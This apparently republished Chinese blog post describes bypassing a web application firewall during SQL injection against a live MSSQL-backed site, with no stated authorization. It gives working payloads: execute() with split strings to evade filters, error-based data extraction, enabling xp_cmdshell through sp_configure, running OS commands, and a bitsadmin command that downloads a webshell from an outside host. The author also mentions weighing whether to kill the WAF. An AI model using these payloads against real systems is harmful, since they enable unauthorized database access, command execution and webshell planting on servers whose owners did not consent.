MSSQL WAF绕过(2)

发布时间:2020-07-20 04:09:00 作者:z2pp
来源:网络 阅读:9216

0x00 前言


上次的绕过太简单,也没有能注出数据或者获取权限,这次继续绕过,获取数据

0x01 过程


还是上次的站点,简单的判断,存在注入
MSSQL WAF绕过(2)

发现and 数字、exec、union select、 select 数字。。。被过滤
MSSQL WAF绕过(2)

发现execute函数没被过滤,狗没出来说明这个函数能用
MSSQL WAF绕过(2)

execute('sql语句')  //execute函数中可以写sql语句,且为字符串,那么就可以传入一些变形字符串来绕过waf

本地验证一下
MSSQL WAF绕过(2)
一些变形
MSSQL WAF绕过(2)

只是本次使用sql server堆叠注入,并不会将数据展示在页面,所以要让这一次的堆叠出错,达到报错注入的效果

execute('select convert(int,@@version)') --a

MSSQL WAF绕过(2)

当然需要变形一下,不然会被拦截,因为出现了select

execute('sel'%2b'ect convert(int,@@version)') --a   //在url编码中 %2b 等价与 + 所以可以理解为 'sel' + 'ect'

MSSQL WAF绕过(2)

通过execute函数,可进行变形导致waf无法拦截,获取数据或执行sql语句就变得简单多了
执行cmdshell,由于cmdshell不能通过报错回显,但是可以将结果重定向到文件中或写入表中

execute('master..xp_cmdshell whoami > e:\'%2b'\xx\'%2b'\1.txt')  // 双斜杠被过滤

返回报错并没有关系,waf没有拦截,查看1.txt是否有数据
MSSQL WAF绕过(2)

MSSQL WAF绕过(2)

0x02 后续

本来想写入webshell或通过公网下载webshell,但服务器不能出外网,且有waf,导致写shell失败,考虑后想kill掉waf,但还是避免对服务器造成影响。。
MSSQL WAF绕过(2)

0x03 其他

附上其他在这次测试中用到的命令

execute('sp_configure "show advanced options",1')
execute('reconfigure')
execute('sp_configure "xp_cmdshell", 1')
execute('reconfigure')   //上述四步,使xp_cmdshell开启

execute('master..xp_cmdshell "bitsadmin /transfer n http://xxxxx/1.aspx c:\\路径\\123.aspx"')  //从公网下载webshell,本文中因机器不能出外网导致下载失败
推荐阅读:
  1. WAF绕过的一些总结和思考,WAF怎么防绕过。
  2. 如何绕过WAF的XSS检测机制

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sql server waf

上一篇:Openstack 虚拟机通讯

下一篇:【Zabbix4.2学习笔记】4、数据收集-外部监查

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》